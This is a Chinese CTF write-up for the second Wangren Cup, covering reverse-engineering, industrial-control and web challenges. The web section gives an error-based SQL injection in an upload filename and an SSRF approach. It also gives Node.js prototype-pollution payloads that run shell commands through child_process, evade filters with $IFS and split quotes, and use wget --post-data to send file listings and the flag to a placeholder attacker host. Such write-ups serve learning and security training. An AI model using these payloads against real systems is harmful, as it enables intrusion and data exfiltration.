此次就re和web师傅参与, re师傅独自干9题(在线自学工控,现学现卖) web师傅2小时不到干3题
RE题ez_algorithm
加密函数包括三个
a='ckagevdxizblqnwtmsrpufyhoj'
b='TMQZWKGOIAGLBYHPCRJSUXEVND'
old='0123456789abcdefghijklmnopqrstuvwxyz'
new='9876543210uvwxyztnopqrshijklmgabcdef'
trantab = str.maketrans(new, old)
res='BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'
for i in range(len(res)):
x=ord(res[i])
if x > 0x2f and x<0x3a:
print(res[i].translate(trantab),end='')
elif x > 0x40 and x<0x5b:
y=a.index(res[i].lower().translate(trantab))
if i%4==1:
print(chr(0x61+y),end='')
elif i%4==2:
print(chr(0x61+(y^2)),end='')
elif i%4==3:
print(chr(0x61+(y-3)),end='')
elif i%4==0:
print(chr(0x61+(y)),end='')
elif x >0x60 and x<0x7b:
y=b.index(res[i].lower().translate(trantab).upper())
if i%4==1:
print(chr(0x41+y-1),end='')
elif i%4==2:
print(chr(0x41+(y//2)),end='')
elif i%4==3:
print(chr(0x41+(y^3)),end='')
elif i%4==0:
print(chr(0x41+(y)),end='')
elif res[i] in ['#','+','$','?','\','&','*']:
print('_',end='')
else:
print(res[i],end='')执行得到flag
#flag{w3Lc0mE#t0+3NcrYPti0N:}
RE题定时启动
pyi-arch-viewer解压
a = 'flag{c4ca4238a0b923820dcc509a6f75849b}'
b = 'flag{c81e728s9d4c2f636f0f7f89cc14862c}'
c = 'flag{eccbc87e4b5ce2fe28308fd9fsa7baf3}'
d = 'flag{a87ff679a2f3e71d9181a67b7542122c}'
flag = a[0:8] + b[9:14] + c[6:20] + d[-1:]
print(flag)
得到flag
flag{c4c728s9ccbc87e4b5ce2f}
RE题Re_function
文件尾部有HEX字符串
处理后得到图片,是解压密码
然后解压得到一个exe和elf执行文件
exe解密得到SqcTSxCxSAwHGm/JvxQrvxiNjR9=
elf解密得到base64字母表:FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9
然后解密得到flag
RE题freestyle
简单的数学计算
输入3327+105的MD5,FLAG为
flag{31a364d51abd0c8304106c16779d83b1}
ICS题ncsubj
找到流量中的base64部分,3段拼起来
然后再ROT解密
flag为flag{whatancsubject}
ICS题LED_BOOM
找到3个包长度为123字节的包,其中有系统板的LED状态,三个包的序号连起来得到密码,然后解密图片的字符串即可:
flag{tietie_tietie_tie13}
ics题carefulguy
TCP流中有flag的hex值66,6C,61,67等等
得到flag
ics题xyp07
根据附件结尾得到解压密码Xyp77&7&77
WEB题Upload
http://124.220.9.19:8001/
根据描述应该是SQL注入,但是给的是上传文件界面,尝试上传PHP会发现不给解析。
故在 filename 处用单引号发现报错,但是 用 凡是用.就会显示上传成功,无论是SQL语句是不是写的对,然后发现不用.就可以,所以猜测flag就在flag表的flag字段
POST / HTTP/1.1
Host: 124.220.9.19:8001
Content-Length: 255
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://124.220.9.19:8001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOfZQgfADTycl7M6Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.220.9.19:8001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryOfZQgfADTycl7M6Z
Content-Disposition: form-data; name="upfile"; filename="1.php5'-(updatexml(1,concat(0x7e,(select mid(flag,1,28) from flag),0x7e),1))); -- a "
Content-Type: ctf
xa
------WebKitFormBoundaryOfZQgfADTycl7M6Z--
flag{5937a0b90b5966939cccd369291c68aa}
web题Sign_in
124.222.24.150:20001
刚开始先使用找到了hosts 发现本机内网ip是172.73.24.21
跑一边172.73.24.x 得到 172.73.24.100ip开放了80
按照要求传入
Post发送,所以使用gopher协议去构造post请求
然后又需要本地127.0.0.1 用X-Forwarded-For 绕
然后需要是bolean.club 访问,用Referer,这里还得等于bolean.club 多了当时出问题。
web题ezjs
得到源码,
发现merge函数,查了一下,这个模块,存在参数污染问题
参考:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
但是发现过滤了; 空格 flag require wget 等等,故上面的payload无法使用,找到了一个
https://www.sohu.com/a/485885878_121124363
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}';
但是有;无法使用,然后本地调试
污染options.sourceURL 就是这个payload
本地调试
最后会被传入 创建匿名函数
那就可以任意代码执行了,目现在就是面临绕过问题
在js和python的ssti一样可以用xx[‘x’] 获取x属性或者方法
最后的poc就是:
u000aglobal.process.mainModule['r'+'equire']('child_process')['ex'+'ec']()//
本地是可以的,所以 所以需要绕过靶机的过滤,
使用$IFS$9来绕过空格
使用`` 来外带数据
使用””来绕过对命令的限制,wget 就变成wg””et
没有curl,用wget来外带数据 –post-data参数
最后的poc
{"constructor":{"prototype":{"sourceURL":"u000aglobal.process.mainModule['r'+'equire']('child_process')['ex'+'ec']('wg""et$IFS$9http://ip:8888$IFS$9--post-data$IFS$9`ls$IFS$9/|base64`')//"}}}
然后找flag找了一大圈。。。,一度以为被人使坏了。。
后面查看:docker-compose.yml
将flag放在根目录下 还是.flag 导致ls看不到。。。
读取flag
没有cat more,用tac代替:
{"constructor":{"prototype":{"sourceURL":"u000aglobal.process.mainModule['r'+'equire']('child_process')['ex'+'ec']('wg""et$IFS$9http://vps:8888$IFS$9--post-data$IFS$9`tac$IFS$9/.fl""ag|base64`')//"}}}
flag{n0D3_1s_V3rY_v3Ry_very_v3rY_Fun_1sNt_it}
原文始发于微信公众号(IDLab):第二届网刃杯WriteUp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论